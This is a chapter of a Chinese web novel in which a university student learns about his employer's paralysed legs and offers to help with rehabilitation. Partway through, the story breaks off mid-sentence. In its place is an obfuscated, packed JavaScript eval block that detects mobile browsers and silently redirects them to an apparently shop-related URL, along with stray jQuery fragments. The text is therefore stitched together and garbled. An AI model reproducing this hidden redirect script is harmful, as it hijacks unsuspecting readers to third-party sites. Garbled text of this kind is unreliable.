晚上回到宿舍,宁和景惯例和赵君红通了电话,叮嘱她:“今晚吃药了吗?”
“已经吃了,今晚吃太饱,下楼来转转。”赵君红乐呵呵。
宁和景心情稍微好点:“好,那你慢慢逛。”
又说了几句,挂断电话,宁和景来到抓挠着头发,愁眉苦脸写实验报告的陆汀浩身后,拍拍他肩膀:“现在方便吗?我想问你点事。”
陆汀浩回头,仿佛见到天使般希冀地望着他:“我的实验报告……”
宁和景:“我教你。”
虽然是教,而不是帮忙写,但陆汀浩已经心满意足,把笔一摊:“说吧,想问我什么事?”
“我想问的是商先生的双腿……”宁和景脸色肃然。
听到他想问的是这件事,陆汀浩也正色起来,将自己知道的都告诉他:“三哥他两年前陪同父母去机场时,不小心发生了车祸,我大姨和大姨夫当场死亡,三哥也受了重伤,抢救了一天一夜才捡回这条命,但双腿却失去了知觉,医生说恢复的机会很渺茫。”
那段时间,是陆汀浩第一次见到原来意气风发的三哥,也会有这么消沉的时候。
但他回忆起这些,没有对榜样的完美光环破碎的失望,眼睛里只有敬佩。
“但我三哥,真的是个意志很强大的人,没有多久他就振作起来,积极复健。复健多么辛苦,你也是知道的,三哥他一声不吭坚持了两年。”
宁和景工作也有一段时间了,陆汀浩默认他早就像安姨那样帮助商迟雪复健,没发现宁和景凝滞住的表情,叹了口气:“其实两年下来,三哥的腿还不见好转,我们都认为希望不大了,可看着三哥那么辛苦,也不好劝他放弃。”
两年的时间,丝毫没有好转迹象的腿,仿佛慢刀子割肉般,一点一点折磨着人的心态。
宁和景心脏好像被一只大手紧紧攥住,身临其境感受到那种沉闷的隐痛。
这和晚上商先生避而不谈复健时,心脏骤缩的那种感觉一模一样。
沉闷的,仿佛喘不上气,张张嘴,却也不知道怎么开口。
最后他们只能沉默地低下头,安静吃饭。
宁和景:“商先生双腿复健的工作,一直都是安姨来配合吗?”
“对啊,你也见过安姨吧,很能干的一个人,三哥也习惯她的照顾,就没再请护工,毕竟陌生的人刚来总会或多或少地排斥。”
似乎觉得自己说的话有歧义,陆汀浩连忙补充道:“这些都是我自己猜的啊,其实按我哥的性子,就算不习惯也会让自己尽快适应的,不可能因为不习惯就耽误了双腿复健。”
这就像去医院看病,你会因为医生是陌生人,就放弃看病吗?
更何况商迟雪在身边所有人都觉得他的双腿痊愈机会渺茫时,仍然坚持复健。坚持了这么久,更不可能说放弃就放弃。
所以宁和景不明白,为什么商先生现在不让他帮忙复健呢?
如果商先生没有这个意思,就不会带他去医院,让他有机会了解情况。后面的路应该就是顺理成章地让他协助复健,偏偏过程似乎就卡在了这一步,僵持不动。
前后矛盾的行为在宁和景头脑中打架。
在陆汀浩看来,就是他莫名地陷入沉思中,双眉紧蹙,仿佛遇到了什么难题。
就是学那量子力学和数学物理方法时,陆汀浩都没见他皱过眉头。
他本来还想说些什么,看到宁和景这副模样悄悄闭上了嘴,轮滑椅转回去的时候也是悄悄的,尽量不打扰宁和景思考。
但下一秒,他的手机就振动起来,突兀打破这寂静。
陆汀浩手忙脚乱地拿起手机,对抬起头的宁和景尴尬笑笑:“我去接个电话。”
来到阳台上,陆汀浩才发现是三哥的电话。
也是巧了。
陆汀浩接起:“喂,三哥,怎么了?”
对面商迟雪的声音冷静自持:“我想问你,关于宁和景母亲的病,你知道多少?”
……
陆汀浩挂断电话,看着屏幕上通话结束的界面,感叹一句:“怎么这两人,一个两个都来找我问问题。”
还都是背着对方来,就不能明天见面的时候直接问对方?这些其实也不是什么很难开口问的问题吧?
他一边摇头一边进去。
虽然心里纳闷,但也没将两人互相询问对方消息的事说出来。
另一边,商迟雪放下手机,揉揉眉心,想到陆汀浩说的话,望着灯光下的茉莉花许久,终于又拿起手机,打了个电话:“你好,李医生,我是商迟雪,想请教一些问题,不知道你现在方便吗?”
这通电话打了快半个小时,商迟雪修长的手指握着笔,在纸上快速记下一些关键信息。
“好,我明白了,谢谢李医生。”他挂断电话,拿起笔记扫了几眼,打开电脑搜索上面的一些关键词。
电脑屏幕的微光映亮商迟雪的眼眸,显出种无可比拟的冷静。
鼠标轻微的点击声在寂静的书房中时不时响起,直到一小时后才停歇,随后灯光熄灭,书房重回黑暗中。
。
早上七点半,全宿舍都起来了,快速刷牙洗漱,赶着去上课。
“快快快,再不走就赶不上小巴车了,我可不想和人挤!”两个舍友在门口连声催促陆汀浩。
陆汀浩对着镜子抓了几下头发,确保发型随意又不失帅气后,急匆匆抄起桌面的书和手机:“来啦来啦!”
宁和景背着包,从柜子里拿了两个面包当早餐,紧随其后出来。
四个人,除了他手上有早餐,其余三个两手空空,全然打算饿着肚子熬到中午。
虽说在赶路,但不妨碍他们聊天。
陆汀浩打着哈欠:“幺儿,你昨天玩什么呢?我熬到两三点起床去上厕所,都还看到你那有灯光。”
宁和景是他们宿舍起得最早的人,也是睡得最早的人,作息健康到让人掩面惭愧。像昨天那种情况,就让人意外地多问两句。
宁和景:“在看一些康复训练的视频。”
除了看视频,还在备忘录里做了笔记,确保自己每一流程都熟记于心。
因为太认真,不知不觉就熬到了三点多。
他皮肤遗传了赵君红的白皙,此时眼下淡淡的青色分外明显。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498066|202602||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
去到商迟雪家里的时候,商迟雪也一眼看出来:“昨晚没休息好?”
宁和景抬手,顺着他的视线摸了摸眼下:“昨晚熬夜了,很明显吗?”
商迟雪点点头:“尽量少熬夜,身体比学习更重要。”
老成的口吻,与那张年轻英俊的脸不匹配。
宁和景心口仿佛被戳了一下,竟觉得这样的商先生也很可爱。
他解释道:“我平时很少熬夜,昨天是在学习怎样复健,要做的功课有点多,就熬夜了。”
宁和景昨天除了学习复健,还思考了一晚上,该怎样让商先生答应他帮他复健。
此时借着熬夜这个话题,委婉地表示他已经做好了准备。
果不其然,商先生深深望了他一眼。
宁和景背脊稍微绷紧。
这是一次小小的试探,商先生没什么表情,只是道:“我这里有一些复健的资料,你可以拿回去看。”
出乎宁和景意料的态度,他想过商迟雪可能像上次那样避而不谈,亦或者拒绝,唯独没想到商迟雪会主动给他资料,让他好好学习。
在他怔愣的片刻,商迟雪已经返回书房拿了资料出来,骨节分明的手握着资料递到他面前。
宁和景下意识接过,低头看到封面确实有康复两个字。
商迟雪:“回去好好看。”
宁和景便熄了翻开看一看的念头,将它好好地放进背包里,认真道:“商先生,我会好好看的。”
“嗯。”
虽然没得到想要的结果,但也算惊喜,更重要的是,宁和景看到了商迟雪并不责怪的态度,对他的试探睁一只眼闭一只眼。
不反对,即是沉默的纵容。
宁和景闭闭眼,心跳加快。
因为试探被商迟雪无声地接纳,他禁不住想看看,商先生还会包容他到什么程度。
小小的贪心和帮助商迟雪复健的急切,促使着宁和景大着胆子,在商迟雪面前蹲下,仰头,双眼直视着他,语气柔和而诚恳:“商先生,不如今天我来帮你复健一下,你帮我看看,我昨天学到的知识牢不牢固。”
宁和景的学校是985,里面汇聚了来自全国各地的学霸,尤其是物理系和数学系这些,如果不是对自己的学习能力自信,根本没人敢选的系别。而在这么一群学霸中,宁和景仍然是鹤立鸡群那一个,绩点常年保持着前三,还在大二已经被老师看中,下学期就可以开始跟着老师做项目。
这么出色的成绩,除了天生的智商外,还有宁和景努力复习,巩固知识的功劳。
学物理的,做实验是常态。即便是宁和景,也需要经过实操,才能真正将书上的知识内化于心。
他个子高,骨架大,肩宽,虽然有点瘦但半蹲在地仍然是很大一只,不容忽视,却又因为仰着头,放低的姿态,让人感受不到侵略感。
身处上方,商迟雪轻易看见宁和景眼里的期盼,手指微动,伸出手,屈指,在宁和景脑门上弹了一下。
宁和景眼神变得茫然,脑门被弹过的地方并不痛:“商先生?”
商迟雪盯着他:“不要试探我。”